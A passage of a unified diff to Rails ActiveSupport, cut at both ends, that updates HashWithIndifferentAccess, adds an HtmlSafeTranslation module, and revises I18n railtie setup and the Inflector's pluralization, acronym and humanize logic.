     #   h.replace({ "c" => 300, "d" => 400 }) # => {"c"=>300, "d"=>400}
     def replace(other_hash)
-      super(self.class.new(other_hash))
+      super(cast(other_hash))
     end
 
     # Removes the specified key from the hash.
@@ -244,13 +318,19 @@ def delete(key)
       super(convert_key(key))
     end
 
-    def stringify_keys!; self end
-    def deep_stringify_keys!; self end
-    def stringify_keys; dup end
-    def deep_stringify_keys; dup end
+    # Returns a hash with indifferent access that includes everything except given keys.
+    #   hash = { a: "x", b: "y", c: 10 }.with_indifferent_access
+    #   hash.except(:a, "b") # => {c: 10}.with_indifferent_access
+    #   hash                 # => { a: "x", b: "y", c: 10 }.with_indifferent_access
+    def except(*keys)
+      dup.except!(*keys)
+    end
+    alias_method :without, :except
+
     undef :symbolize_keys!
     undef :deep_symbolize_keys!
     def symbolize_keys; to_hash.symbolize_keys! end
+    alias_method :to_options, :symbolize_keys
     def deep_symbolize_keys; to_hash.deep_symbolize_keys! end
     def to_options!; self end
 
@@ -264,56 +344,121 @@ def reject(*args, &block)
       dup.tap { |hash| hash.reject!(*args, &block) }
     end
 
-    def transform_values(*args, &block)
+    def transform_values(&block)
       return to_enum(:transform_values) unless block_given?
-      dup.tap { |hash| hash.transform_values!(*args, &block) }
+      dup.tap { |hash| hash.transform_values!(&block) }
+    end
+
+    NOT_GIVEN = Object.new # :nodoc:
+
+    def transform_keys(hash = NOT_GIVEN, &block)
+      if NOT_GIVEN.equal?(hash)
+        if block_given?
+          self.class.new(super(&block))
+        else
+          to_enum(:transform_keys)
+        end
+      else
+        self.class.new(super)
+      end
+    end
+
+    def transform_keys!(hash = NOT_GIVEN, &block)
+      if NOT_GIVEN.equal?(hash)
+        if block_given?
+          replace(copy_defaults(transform_keys(&block)))
+        else
+          return to_enum(:transform_keys!)
+        end
+      else
+        replace(copy_defaults(transform_keys(hash, &block)))
+      end
+
+      self
+    end
+
+    def slice(*keys)
+      keys.map! { |key| convert_key(key) }
+      self.class.new(super)
+    end
+
+    def slice!(*keys)
+      keys.map! { |key| convert_key(key) }
+      super
     end
 
     def compact
-      dup.compact!
+      dup.tap(&:compact!)
     end
 
     # Convert to a regular hash with string keys.
     def to_hash
-      _new_hash = Hash.new
-      set_defaults(_new_hash)
+      copy = Hash[self]
+      copy.transform_values! { |v| convert_value_to_hash(v) }
+      copy_defaults(copy)
+    end
 
-      each do |key, value|
-        _new_hash[key] = convert_value(value, for: :to_hash)
-      end
-      _new_hash
+    def to_proc
+      proc { |key| self[key] }
     end
 
     private
-      def convert_key(key) # :doc:
-        key.kind_of?(Symbol) ? key.to_s : key
+      def cast(other)
+        self.class === other ? other : self.class.new(other)
       end
 
-      def convert_value(value, options = {}) # :doc:
+      def convert_key(key)
+        Symbol === key ? key.name : key
+      end
+
+      def convert_value(value, conversion: nil)
         if value.is_a? Hash
-          if options[:for] == :to_hash
-            value.to_hash
-          else
-            value.nested_under_indifferent_access
-          end
+          value.nested_under_indifferent_access
         elsif value.is_a?(Array)
-          if options[:for] != :assignment || value.frozen?
+          if conversion != :assignment || value.frozen?
             value = value.dup
           end
-          value.map! { |e| convert_value(e, options) }
+          value.map! { |e| convert_value(e, conversion: conversion) }
+        else
+          value
+        end
+      end
+
+      def convert_value_to_hash(value)
+        if value.is_a? Hash
+          value.to_hash
+        elsif value.is_a?(Array)
+          value.map { |e| convert_value_to_hash(e) }
         else
           value
         end
       end
 
-      def set_defaults(target) # :doc:
+
+      def copy_defaults(target)
         if default_proc
           target.default_proc = default_proc.dup
         else
           target.default = default
         end
+        target
+      end
+
+      def update_with_single_argument(other_hash, block)
+        if other_hash.is_a? HashWithIndifferentAccess
+          regular_update(other_hash, &block)
+        else
+          other_hash.to_hash.each_pair do |key, value|
+            if block && key?(key)
+              value = block.call(convert_key(key), self[key], value)
+            end
+            regular_writer(convert_key(key), convert_value(value))
+          end
+        end
       end
   end
 end
 
+# :stopdoc:
+
 HashWithIndifferentAccess = ActiveSupport::HashWithIndifferentAccess
diff --git a/activesupport/lib/active_support/html_safe_translation.rb b/activesupport/lib/active_support/html_safe_translation.rb
new file mode 100644
index 0000000000000..69ff23ddd848a
--- /dev/null
+++ b/activesupport/lib/active_support/html_safe_translation.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module HtmlSafeTranslation # :nodoc:
+    extend self
+
+    def translate(key, **options)
+      if html_safe_translation_key?(key)
+        html_safe_options = html_escape_translation_options(options)
+
+        exception = false
+
+        exception_handler = ->(*args) do
+          exception = true
+          I18n.exception_handler.call(*args)
+        end
+
+        translation = I18n.translate(key, **html_safe_options, exception_handler: exception_handler)
+
+        if exception
+          translation
+        else
+          html_safe_translation(translation)
+        end
+      else
+        I18n.translate(key, **options)
+      end
+    end
+
+    def html_safe_translation_key?(key)
+      /(?:_|\b)html\z/.match?(key)
+    end
+
+    private
+      def html_escape_translation_options(options)
+        options.each do |name, value|
+          unless i18n_option?(name) || (name == :count && value.is_a?(Numeric))
+            options[name] = ERB::Util.html_escape(value.to_s)
+          end
+        end
+      end
+
+      def i18n_option?(name)
+        (@i18n_option_names ||= I18n::RESERVED_KEYS.to_set).include?(name)
+      end
+
+
+      def html_safe_translation(translation)
+        if translation.respond_to?(:map)
+          translation.map { |element| element.respond_to?(:html_safe) ? element.html_safe : element }
+        else
+          translation.respond_to?(:html_safe) ? translation.html_safe : translation
+        end
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/i18n.rb b/activesupport/lib/active_support/i18n.rb
index f0408f429cfcb..f4f06d4378dc6 100644
--- a/activesupport/lib/active_support/i18n.rb
+++ b/activesupport/lib/active_support/i18n.rb
@@ -1,13 +1,17 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/hash/deep_merge"
 require "active_support/core_ext/hash/except"
 require "active_support/core_ext/hash/slice"
 begin
   require "i18n"
+  require "i18n/backend/fallbacks"
 rescue LoadError => e
-  $stderr.puts "The i18n gem is not available. Please add it to your Gemfile and run bundle install"
+  warn "The i18n gem is not available. Please add it to your Gemfile and run bundle install"
   raise e
 end
 require "active_support/lazy_load_hooks"
 
 ActiveSupport.run_load_hooks(:i18n)
-I18n.load_path << "#{File.dirname(__FILE__)}/locale/en.yml"
+I18n.load_path << File.expand_path("locale/en.yml", __dir__)
+I18n.load_path << File.expand_path("locale/en.rb", __dir__)
diff --git a/activesupport/lib/active_support/i18n_railtie.rb b/activesupport/lib/active_support/i18n_railtie.rb
index b94368df14eb4..ed32655076e97 100644
--- a/activesupport/lib/active_support/i18n_railtie.rb
+++ b/activesupport/lib/active_support/i18n_railtie.rb
@@ -1,6 +1,10 @@
+# frozen_string_literal: true
+
 require "active_support"
-require "active_support/file_update_checker"
 require "active_support/core_ext/array/wrap"
+require "rails/railtie"
+
+# :enddoc:
 
 module I18n
   class Railtie < Rails::Railtie
@@ -9,15 +13,20 @@ class Railtie < Rails::Railtie
     config.i18n.load_path = []
     config.i18n.fallbacks = ActiveSupport::OrderedOptions.new
 
-    # Set the i18n configuration after initialization since a lot of
-    # configuration is still usually done in application initializers.
-    config.after_initialize do |app|
+    config.eager_load_namespaces << I18n
+
+    # Make sure i18n is ready before eager loading, in case any eager loaded
+    # code needs it.
+    config.before_eager_load do |app|
       I18n::Railtie.initialize_i18n(app)
     end
 
-    # Trigger i18n config before any eager loading has happened
-    # so it's ready if any classes require it when eager loaded.
-    config.before_eager_load do |app|
+    # i18n initialization needs to run after application initialization, since
+    # initializers may configure i18n.
+    #
+    # If the application eager loaded, this was done on before_eager_load. The
+    # hook is still OK, though, because initialize_i18n is idempotent.
+    config.after_initialize do |app|
       I18n::Railtie.initialize_i18n(app)
     end
 
@@ -40,11 +49,14 @@ def self.initialize_i18n(app)
         case setting
         when :railties_load_path
           reloadable_paths = value
-          app.config.i18n.load_path.unshift(*value.map(&:existent).flatten)
+          app.config.i18n.load_path.unshift(*value.flat_map(&:existent))
         when :load_path
           I18n.load_path += value
+        when :raise_on_missing_translations
+          strict = value == :strict
+          setup_raise_on_missing_translations_config(app, strict)
         else
-          I18n.send("#{setting}=", value)
+          I18n.public_send("#{setting}=", value)
         end
       end
 
@@ -53,25 +65,39 @@ def self.initialize_i18n(app)
       # Restore available locales check so it will take place from now on.
       I18n.enforce_available_locales = enforce_available_locales
 
-      directories = watched_dirs_with_extensions(reloadable_paths)
-      reloader = app.config.file_watcher.new(I18n.load_path.dup, directories) do
-        I18n.load_path.keep_if { |p| File.exist?(p) }
-        I18n.load_path |= reloadable_paths.map(&:existent).flatten
+      if app.config.reloading_enabled?
+        directories = watched_dirs_with_extensions(reloadable_paths)
+        reloader = app.config.file_watcher.new(I18n.load_path, directories) do
+          I18n.load_path.delete_if { |path| path.to_s.start_with?(Rails.root.to_s) && !File.exist?(path) }
+          I18n.load_path |= reloadable_paths.flat_map(&:existent)
+        end
+
+        app.reloaders << reloader
+        app.reloader.to_run do
+          reloader.execute_if_updated { require_unload_lock! }
+        end
+      end
+
+      @i18n_inited = true
+    end
 
-        I18n.reload!
+    def self.setup_raise_on_missing_translations_config(app, strict)
+      ActiveSupport.on_load(:action_view) do
+        ActionView::Helpers::TranslationHelper.raise_on_missing_translations = app.config.i18n.raise_on_missing_translations
       end
 
-      app.reloaders << reloader
-      app.reloader.to_run do
-        reloader.execute_if_updated { require_unload_lock! }
-        # TODO: remove the following line as soon as the return value of
-        # callbacks is ignored, that is, returning `false` does not
-        # display a deprecation warning or halts the callback chain.
-        true
+      ActiveSupport.on_load(:active_model_translation) do
+        ActiveModel::Translation.raise_on_missing_translations = app.config.i18n.raise_on_missing_translations if strict
       end
-      reloader.execute
 
-      @i18n_inited = true
+      if app.config.i18n.raise_on_missing_translations &&
+          I18n.exception_handler.is_a?(I18n::ExceptionHandler) # Only override the i18n gem's default exception handler.
+
+        I18n.exception_handler = ->(exception, *) {
+          exception = exception.to_exception if exception.is_a?(I18n::MissingTranslation)
+          raise exception
+        }
+      end
     end
 
     def self.include_fallbacks_module
@@ -88,7 +114,7 @@ def self.init_fallbacks(fallbacks)
         when Hash, Array
           Array.wrap(fallbacks)
         else # TrueClass
-          []
+          [I18n.default_locale]
         end
 
       I18n.fallbacks = I18n::Locale::Fallbacks.new(*args)
diff --git a/activesupport/lib/active_support/inflections.rb b/activesupport/lib/active_support/inflections.rb
index afa7d1f32536d..baf1cb30388d7 100644
--- a/activesupport/lib/active_support/inflections.rb
+++ b/activesupport/lib/active_support/inflections.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_support/inflector/inflections"
 
 #--
diff --git a/activesupport/lib/active_support/inflector.rb b/activesupport/lib/active_support/inflector.rb
index 48631b16a83e5..d77f04c9c5fa1 100644
--- a/activesupport/lib/active_support/inflector.rb
+++ b/activesupport/lib/active_support/inflector.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 # in case active_support/inflector is required without the rest of active_support
 require "active_support/inflector/inflections"
 require "active_support/inflector/transliterate"
diff --git a/activesupport/lib/active_support/inflector/inflections.rb b/activesupport/lib/active_support/inflector/inflections.rb
index c47a2e34e16f9..6832187619ec0 100644
--- a/activesupport/lib/active_support/inflector/inflections.rb
+++ b/activesupport/lib/active_support/inflector/inflections.rb
@@ -1,12 +1,15 @@
+# frozen_string_literal: true
+
 require "concurrent/map"
-require "active_support/core_ext/array/prepend_and_append"
-require "active_support/core_ext/regexp"
+require "active_support/core_ext/module/delegation"
 require "active_support/i18n"
 
 module ActiveSupport
   module Inflector
     extend self
 
+    # = Active Support \Inflections
+    #
     # A singleton instance of this class is yielded by Inflector.inflections,
     # which can then be used to specify additional inflection rules. If passed
     # an optional locale, rules for other languages can be specified. The
@@ -16,65 +19,92 @@ module Inflector
     #     inflect.plural /^(ox)$/i, '\1\2en'
     #     inflect.singular /^(ox)en/i, '\1'
     #
-    #     inflect.irregular 'octopus', 'octopi'
+    #     inflect.irregular 'cactus', 'cacti'
     #
     #     inflect.uncountable 'equipment'
     #   end
     #
     # New rules are added at the top. So in the example above, the irregular
-    # rule for octopus will now be the first of the pluralization and
+    # rule for cactus will now be the first of the pluralization and
     # singularization rules that is runs. This guarantees that your rules run
     # before any of the rules that may already have been loaded.
     class Inflections
       @__instance__ = Concurrent::Map.new
+      @__en_instance__ = nil
+
+      class Uncountables # :nodoc:
+        include Enumerable
+
+        delegate :each, :pop, :empty?, :to_s, :==, :to_a, :to_ary, to: :@members
 
-      class Uncountables < Array
         def initialize
-          @regex_array = []
-          super
+          @members = []
+          @pattern = nil
         end
 
         def delete(entry)
-          super entry
-          @regex_array.delete(to_regex(entry))
+          @members.delete(entry)
+          @pattern = nil
         end
 
-        def <<(*word)
-          add(word)
+        def <<(word)
+          word = word.downcase
+          @members << word
+          @pattern = nil
+          self
+        end
+
+        def flatten
+          @members.dup
         end
 
         def add(words)
           words = words.flatten.map(&:downcase)
-          concat(words)
-          @regex_array += words.map { |word| to_regex(word) }
+          @members.concat(words)
+          @pattern = nil
           self
         end
 
         def uncountable?(str)
-          @regex_array.any? { |regex| regex.match? str }
-        end
-
-        private
-          def to_regex(string)
-            /\b#{::Regexp.escape(string)}\Z/i
+          if @pattern.nil?
+            members_pattern = Regexp.union(@members.map { |w| /#{Regexp.escape(w)}/i })
+            @pattern = /\b#{members_pattern}\Z/i
           end
+          @pattern.match?(str)
+        end
       end
 
       def self.instance(locale = :en)
+        return @__en_instance__ ||= new if locale == :en
+
         @__instance__[locale] ||= new
       end
 
-      attr_reader :plurals, :singulars, :uncountables, :humans, :acronyms, :acronym_regex
+      def self.instance_or_fallback(locale)
+        return @__en_instance__ ||= new if locale == :en
+
+        I18n.fallbacks[locale].each do |k|
+          return @__en_instance__ if k == :en && @__en_instance__
+          return @__instance__[k] if @__instance__.key?(k)
+        end
+        instance(locale)
+      end
+
+      attr_reader :plurals, :singulars, :uncountables, :humans, :acronyms
+
+      attr_reader :acronyms_camelize_regex, :acronyms_underscore_regex # :nodoc:
 
       def initialize
-        @plurals, @singulars, @uncountables, @humans, @acronyms, @acronym_regex = [], [], Uncountables.new, [], {}, /(?=a)b/
+        @plurals, @singulars, @uncountables, @humans, @acronyms = [], [], Uncountables.new, [], {}
+        define_acronym_regex_patterns
       end
 
       # Private, for the test suite.
       def initialize_dup(orig) # :nodoc:
-        %w(plurals singulars uncountables humans acronyms acronym_regex).each do |scope|
-          instance_variable_set("@#{scope}", orig.send(scope).dup)
+        %w(plurals singulars uncountables humans acronyms).each do |scope|
+          instance_variable_set("@#{scope}", orig.public_send(scope).dup)
         end
+        define_acronym_regex_patterns
       end
 
       # Specifies a new acronym. An acronym must be specified as it will appear
@@ -128,7 +158,7 @@ def initialize_dup(orig) # :nodoc:
       #   camelize 'mcdonald'   # => 'McDonald'
       def acronym(word)
         @acronyms[word.downcase] = word
-        @acronym_regex = /#{@acronyms.values.join("|")}/
+        define_acronym_regex_patterns
       end
 
       # Specifies a new pluralization rule and its replacement. The rule can
@@ -156,7 +186,7 @@ def singular(rule, replacement)
       # regular expressions. You simply pass the irregular in singular and
       # plural form.
       #
-      #   irregular 'octopus', 'octopi'
+      #   irregular 'cactus', 'cacti'
       #   irregular 'person', 'people'
       def irregular(singular, plural)
         @uncountables.delete(singular)
@@ -211,18 +241,34 @@ def human(rule, replacement)
       # Clears the loaded inflections within a given scope (default is
       # <tt>:all</tt>). Give the scope as a symbol of the inflection type, the
       # options are: <tt>:plurals</tt>, <tt>:singulars</tt>, <tt>:uncountables</tt>,
-      # <tt>:humans</tt>.
+      # <tt>:humans</tt>, <tt>:acronyms</tt>.
       #
       #   clear :all
       #   clear :plurals
       def clear(scope = :all)
         case scope
         when :all
-          @plurals, @singulars, @uncountables, @humans = [], [], Uncountables.new, []
-          else
+          clear(:acronyms)
+          clear(:plurals)
+          clear(:singulars)
+          clear(:uncountables)
+          clear(:humans)
+        when :acronyms
+          @acronyms = {}
+          define_acronym_regex_patterns
+        when :uncountables
+          @uncountables = Uncountables.new
+        when :plurals, :singulars, :humans
           instance_variable_set "@#{scope}", []
         end
       end
+
+      private
+        def define_acronym_regex_patterns
+          @acronym_regex             = @acronyms.empty? ? /(?=a)b/ : /#{@acronyms.values.join("|")}/
+          @acronyms_camelize_regex   = /^(?:#{@acronym_regex}(?=\b|[A-Z_])|\w)/
+          @acronyms_underscore_regex = /(?:(?<=([A-Za-z\d]))|\b)(#{@acronym_regex})(?=\b|[^a-z])/
+        end
     end
 
     # Yields a singleton instance of Inflector::Inflections so you can specify
@@ -237,7 +283,7 @@ def inflections(locale = :en)
       if block_given?
         yield Inflections.instance(locale)
       else
-        Inflections.instance(locale)
+        Inflections.instance_or_fallback(locale)
       end
     end
   end
diff --git a/activesupport/lib/active_support/inflector/methods.rb b/activesupport/lib/active_support/inflector/methods.rb
index 8ccb735c6d611..e9fd05ae3bdf9 100644
--- a/activesupport/lib/active_support/inflector/methods.rb
+++ b/activesupport/lib/active_support/inflector/methods.rb
@@ -1,13 +1,16 @@
+# frozen_string_literal: true
+
 require "active_support/inflections"
-require "active_support/core_ext/regexp"
 
 module ActiveSupport
+  # = Active Support \Inflector
+  #
   # The Inflector transforms words from singular to plural, class names to table
   # names, modularized class names to ones without, and class names to foreign
   # keys. The default inflections for pluralization, singularization, and
   # uncountable words are kept in inflections.rb.
   #
-  # The Rails core team has stated patches for the inflections library will not
+  # The \Rails core team has stated patches for the inflections library will not
   # be accepted in order to avoid breaking legacy applications which may be
   # relying on errant inflections. If you discover an incorrect inflection and
   # require it for your application or wish to define rules for languages other
@@ -28,7 +31,7 @@ module Inflector
     #   pluralize('CamelOctopus')     # => "CamelOctopi"
     #   pluralize('ley', :es)         # => "leyes"
     def pluralize(word, locale = :en)
-      apply_inflections(word, inflections(locale).plurals)
+      apply_inflections(word, inflections(locale).plurals, locale)
     end
 
     # The reverse of #pluralize, returns the singular form of a word in a
@@ -45,7 +48,7 @@ def pluralize(word, locale = :en)
     #   singularize('CamelOctopi')      # => "CamelOctopus"
     #   singularize('leyes', :es)       # => "ley"
     def singularize(word, locale = :en)
-      apply_inflections(word, inflections(locale).singulars)
+      apply_inflections(word, inflections(locale).singulars, locale)
     end
 
     # Converts strings to UpperCamelCase.
@@ -66,13 +69,19 @@ def singularize(word, locale = :en)
     #   camelize(underscore('SSLError'))        # => "SslError"
     def camelize(term, uppercase_first_letter = true)
       string = term.to_s
-      if uppercase_first_letter
-        string = string.sub(/^[a-z\d]*/) { |match| inflections.acronyms[match] || match.capitalize }
+      # String#camelize takes a symbol (:upper or :lower), so here we also support :lower to keep the methods consistent.
+      if !uppercase_first_letter || uppercase_first_letter == :lower
+        string = string.sub(inflections.acronyms_camelize_regex) { |match| match.downcase! || match }
+      elsif string.match?(/\A[a-z\d]*\z/)
+        return inflections.acronyms[string]&.dup || string.capitalize
       else
-        string = string.sub(/^(?:#{inflections.acronym_regex}(?=\b|[A-Z_])|\w)/) { |match| match.downcase }
+        string = string.sub(/^[a-z\d]*/) { |match| inflections.acronyms[match] || match.capitalize! || match }
+      end
+      string.gsub!(/(?:_|(\/))([a-z\d]*)/i) do
+        word = $2
+        substituted = inflections.acronyms[word] || word.capitalize! || word
+        $1 ? "::#{substituted}" : substituted
       end
-      string.gsub!(/(?:_|(\/))([a-z\d]*)/i) { "#{$1}#{inflections.acronyms[$2] || $2.capitalize}" }
-      string.gsub!("/".freeze, "::".freeze)
       string
     end
 
@@ -88,12 +97,11 @@ def camelize(term, uppercase_first_letter = true)
     #
     #   camelize(underscore('SSLError'))  # => "SslError"
     def underscore(camel_cased_word)
-      return camel_cased_word unless /[A-Z-]|::/.match?(camel_cased_word)
-      word = camel_cased_word.to_s.gsub("::".freeze, "/".freeze)
-      word.gsub!(/(?:(?<=([A-Za-z\d]))|\b)(#{inflections.acronym_regex})(?=\b|[^a-z])/) { "#{$1 && '_'.freeze }#{$2.downcase}" }
-      word.gsub!(/([A-Z\d]+)([A-Z][a-z])/, '\1_\2'.freeze)
-      word.gsub!(/([a-z\d])([A-Z])/, '\1_\2'.freeze)
-      word.tr!("-".freeze, "_".freeze)
+      return camel_cased_word.to_s.dup unless /[A-Z-]|::/.match?(camel_cased_word)
+      word = camel_cased_word.to_s.gsub("::", "/")
+      word.gsub!(inflections.acronyms_underscore_regex) { "#{$1 && '_' }#{$2.downcase}" }
+      word.gsub!(/(?<=[A-Z])(?=[A-Z][a-z])|(?<=[a-z\d])(?=[A-Z])/, "_")
+      word.tr!("-", "_")
       word.downcase!
       word
     end
@@ -104,67 +112,90 @@ def underscore(camel_cased_word)
     #
     # * Applies human inflection rules to the argument.
     # * Deletes leading underscores, if any.
-    # * Removes a "_id" suffix if present.
+    # * Removes an "_id" suffix if present.
     # * Replaces underscores with spaces, if any.
     # * Downcases all words except acronyms.
     # * Capitalizes the first word.
-    #
     # The capitalization of the first word can be turned off by setting the
     # +:capitalize+ option to false (default is true).
     #
-    #   humanize('employee_salary')              # => "Employee salary"
-    #   humanize('author_id')                    # => "Author"
-    #   humanize('author_id', capitalize: false) # => "author"
-    #   humanize('_id')                          # => "Id"
+    # The trailing '_id' can be kept and capitalized by setting the
+    # optional parameter +keep_id_suffix+ to true (default is false).
+    #
+    #   humanize('employee_salary')                  # => "Employee salary"
+    #   humanize('author_id')                        # => "Author"
+    #   humanize('author_id', capitalize: false)     # => "author"
+    #   humanize('_id')                              # => "Id"
+    #   humanize('author_id', keep_id_suffix: true)  # => "Author id"
     #
     # If "SSL" was defined to be an acronym:
     #
     #   humanize('ssl_error') # => "SSL error"
     #
-    def humanize(lower_case_and_underscored_word, options = {})
+    def humanize(lower_case_and_underscored_word, capitalize: true, keep_id_suffix: false)
       result = lower_case_and_underscored_word.to_s.dup
 
       inflections.humans.each { |(rule, replacement)| break if result.sub!(rule, replacement) }
 
-      result.sub!(/\A_+/, "".freeze)
-      result.sub!(/_id\z/, "".freeze)
-      result.tr!("_".freeze, " ".freeze)
+      result.tr!("_", " ")
+      result.lstrip!
+      if !keep_id_suffix && lower_case_and_underscored_word&.end_with?("_id")
+        result.delete_suffix!(" id")
+      end
 
-      result.gsub!(/([a-z\d]*)/i) do |match|
-        "#{inflections.acronyms[match] || match.downcase}"
+      result.gsub!(/([[[:alpha:]]\d]+)/i) do |match|
+        match.downcase!
+        inflections.acronyms[match] || match
       end
 
-      if options.fetch(:capitalize, true)
-        result.sub!(/\A\w/) { |match| match.upcase }
+      if capitalize
+        result.sub!(/\A[[:alpha:]]/) do |match|
+          match.upcase!
+          match
+        end
       end
 
       result
     end
 
-    # Converts just the first character to uppercase.
+    # Converts the first character in the string to uppercase.
     #
     #   upcase_first('what a Lovely Day') # => "What a Lovely Day"
     #   upcase_first('w')                 # => "W"
     #   upcase_first('')                  # => ""
     def upcase_first(string)
-      string.length > 0 ? string[0].upcase.concat(string[1..-1]) : ""
+      string.length > 0 ? string[0].upcase.concat(string[1..-1]) : +""
+    end
+
+    # Converts the first character in the string to lowercase.
+    #
+    #   downcase_first('If they enjoyed The Matrix') # => "if they enjoyed The Matrix"
+    #   downcase_first('I')                          # => "i"
+    #   downcase_first('')                           # => ""
+    def downcase_first(string)
+      string.length > 0 ? string[0].downcase.concat(string[1..-1]) : +""
     end
 
     # Capitalizes all the words and replaces some characters in the string to
     # create a nicer looking title. +titleize+ is meant for creating pretty
-    # output. It is not used in the Rails internals.
-    #
-    # +titleize+ is also aliased as +titlecase+.
-    #
-    #   titleize('man from the boondocks')   # => "Man From The Boondocks"
-    #   titleize('x-men: the last stand')    # => "X Men: The Last Stand"
-    #   titleize('TheManWithoutAPast')       # => "The Man Without A Past"
-    #   titleize('raiders_of_the_lost_ark')  # => "Raiders Of The Lost Ark"
-    def titleize(word)
-      humanize(underscore(word)).gsub(/\b(?<!['’`])[a-z]/) { |match| match.capitalize }
+    # output. It is not used in the \Rails internals.
+    #
+    # The trailing '_id','Id'.. can be kept and capitalized by setting the
+    # optional parameter +keep_id_suffix+ to true.
+    # By default, this parameter is false.
+    #
+    #   titleize('man from the boondocks')                       # => "Man From The Boondocks"
+    #   titleize('x-men: the last stand')                        # => "X Men: The Last Stand"
+    #   titleize('TheManWithoutAPast')                           # => "The Man Without A Past"
+    #   titleize('raiders_of_the_lost_ark')                      # => "Raiders Of The Lost Ark"
+    #   titleize('string_ending_with_id', keep_id_suffix: true)  # => "String Ending With Id"
+    def titleize(word, keep_id_suffix: false)
+      humanize(underscore(word), keep_id_suffix: keep_id_suffix).gsub(/\b(?<!\w['’`()])[a-z]/) do |match|
+        match.capitalize
+      end
     end
 
-    # Creates the name of a table like Rails does for models to table names.
+    # Creates the name of a table like \Rails does for models to table names.
     # This method uses the #pluralize method on the last word in the string.
     #
     #   tableize('RawScaledScorer') # => "raw_scaled_scorers"
@@ -174,26 +205,26 @@ def tableize(class_name)
       pluralize(underscore(class_name))
     end
 
-    # Creates a class name from a plural table name like Rails does for table
-    # names to models. Note that this returns a string and not a Class (To
-    # convert to an actual class follow +classify+ with #constantize).
+    # Creates a class name from a plural table name like \Rails does for table
+    # names to models. Note that this returns a string and not a Class. (To
+    # convert to an actual class follow +classify+ with #constantize.)
     #
     #   classify('ham_and_eggs') # => "HamAndEgg"
     #   classify('posts')        # => "Post"
     #
     # Singular names are not handled correctly:
     #
-    #   classify('calculus')     # => "Calculus"
+    #   classify('calculus')     # => "Calculu"
     def classify(table_name)
       # strip out any leading schema name
-      camelize(singularize(table_name.to_s.sub(/.*\./, "".freeze)))
+      camelize(singularize(table_name.to_s.sub(/.*\./, "")))
     end
 
     # Replaces underscores with dashes in the string.
     #
     #   dasherize('puni_puni') # => "puni-puni"
     def dasherize(underscored_word)
-      underscored_word.tr("_".freeze, "-".freeze)
+      underscored_word.tr("_", "-")
     end
 
     # Removes the module part from the expression in the string.
@@ -207,7 +238,7 @@ def dasherize(underscored_word)
     def demodulize(path)
       path = path.to_s
       if i = path.rindex("::")
-        path[(i + 2)..-1]
+        path[(i + 2), path.length]
       else
         path
       end
@@ -256,34 +287,7 @@ def foreign_key(class_name, separate_class_name_and_id_with_underscore = true)
     # NameError is raised when the name is not in CamelCase or the constant is
     # unknown.
     def constantize(camel_cased_word)
-      names = camel_cased_word.split("::".freeze)
-
-      # Trigger a built-in NameError exception including the ill-formed constant in the message.
-      Object.const_get(camel_cased_word) if names.empty?
-
-      # Remove the first blank element in case of '::ClassName' notation.
-      names.shift if names.size > 1 && names.first.empty?
-
-      names.inject(Object) do |constant, name|
-        if constant == Object
-          constant.const_get(name)
-        else
-          candidate = constant.const_get(name)
-          next candidate if constant.const_defined?(name, false)
-          next candidate unless Object.const_defined?(name)
-
-          # Go down the ancestors to check if it is owned directly. The check
-          # stops when we reach Object or the end of ancestors tree.
-          constant = constant.ancestors.inject(constant) do |const, ancestor|
-            break const    if ancestor == Object
-            break ancestor if ancestor.const_defined?(name, false)
-            const
-          end
-
-          # owner is in Object, so raise
-          constant.const_get(name, false)
-        end
-      end
+      Object.const_get(camel_cased_word)
     end
 
     # Tries to find a constant with the name specified in the argument string.
@@ -313,8 +317,9 @@ def safe_constantize(camel_cased_word)
     rescue NameError => e
       raise if e.name && !(camel_cased_word.to_s.split("::").include?(e.name.to_s) ||
         e.name.to_s == camel_cased_word.to_s)
-    rescue ArgumentError => e
-      raise unless /not missing constant #{const_regexp(camel_cased_word)}!$/.match?(e.message)
+    rescue LoadError => e
+      message = e.respond_to?(:original_message) ? e.original_message : e.message
+      raise unless /Unable to autoload constant #{const_regexp(camel_cased_word)}/.match?(message)
     end
 
     # Returns the suffix that should be added to a number to denote the position
@@ -327,18 +332,7 @@ def safe_constantize(camel_cased_word)
     #   ordinal(-11)   # => "th"
     #   ordinal(-1021) # => "st"
     def ordinal(number)
-      abs_number = number.to_i.abs
-
-      if (11..13).include?(abs_number % 100)
-        "th"
-      else
-        case abs_number % 10
-        when 1; "st"
-        when 2; "nd"
-        when 3; "rd"
-          else    "th"
-        end
-      end
+      I18n.translate("number.nth.ordinals", number: number)
     end
 
     # Turns a number into an ordinal string used to denote the position in an
@@ -351,36 +345,38 @@ def ordinal(number)
     #   ordinalize(-11)   # => "-11th"
     #   ordinalize(-1021) # => "-1021st"
     def ordinalize(number)
-      "#{number}#{ordinal(number)}"
+      I18n.translate("number.nth.ordinalized", number: number)
     end
 
     private
-
       # Mounts a regular expression, returned as a string to ease interpolation,
       # that will match part by part the given constant.
       #
       #   const_regexp("Foo::Bar::Baz") # => "Foo(::Bar(::Baz)?)?"
       #   const_regexp("::")            # => "::"
       def const_regexp(camel_cased_word)
-        parts = camel_cased_word.split("::".freeze)
+        parts = camel_cased_word.split("::")
 
-        return Regexp.escape(camel_cased_word) if parts.blank?
+        return Regexp.escape(camel_cased_word) if parts.empty?
 
         last = parts.pop
 
-        parts.reverse.inject(last) do |acc, part|
+        parts.reverse!.inject(last) do |acc, part|
           part.empty? ? acc : "#{part}(::#{acc})?"
         end
       end
 
       # Applies inflection rules for +singularize+ and +pluralize+.
       #
-      #  apply_inflections('post', inflections.plurals)    # => "posts"
-      #  apply_inflections('posts', inflections.singulars) # => "post"
-      def apply_inflections(word, rules)
+      # If passed an optional +locale+ parameter, the uncountables will be
+      # found for that locale.
+      #
+      #   apply_inflections('post', inflections.plurals, :en)    # => "posts"
+      #   apply_inflections('posts', inflections.singulars, :en) # => "post"
+      def apply_inflections(word, rules, locale = :en)
         result = word.to_s.dup
 
-        if word.empty? || inflections.uncountables.uncountable?(result)
+        if word.empty? || inflections(locale).uncountables.uncountable?(result)
           result
         else
           rules.each { |(rule, replacement)| break if result.sub!(rule, replacement) }
diff --git a/activesupport/lib/active_support/inflector/transliterate.rb b/activesupport/lib/active_support/inflector/transliterate.rb
index de6dd2720bda5..0687e55792c32 100644
--- a/activesupport/lib/active_support/inflector/transliterate.rb
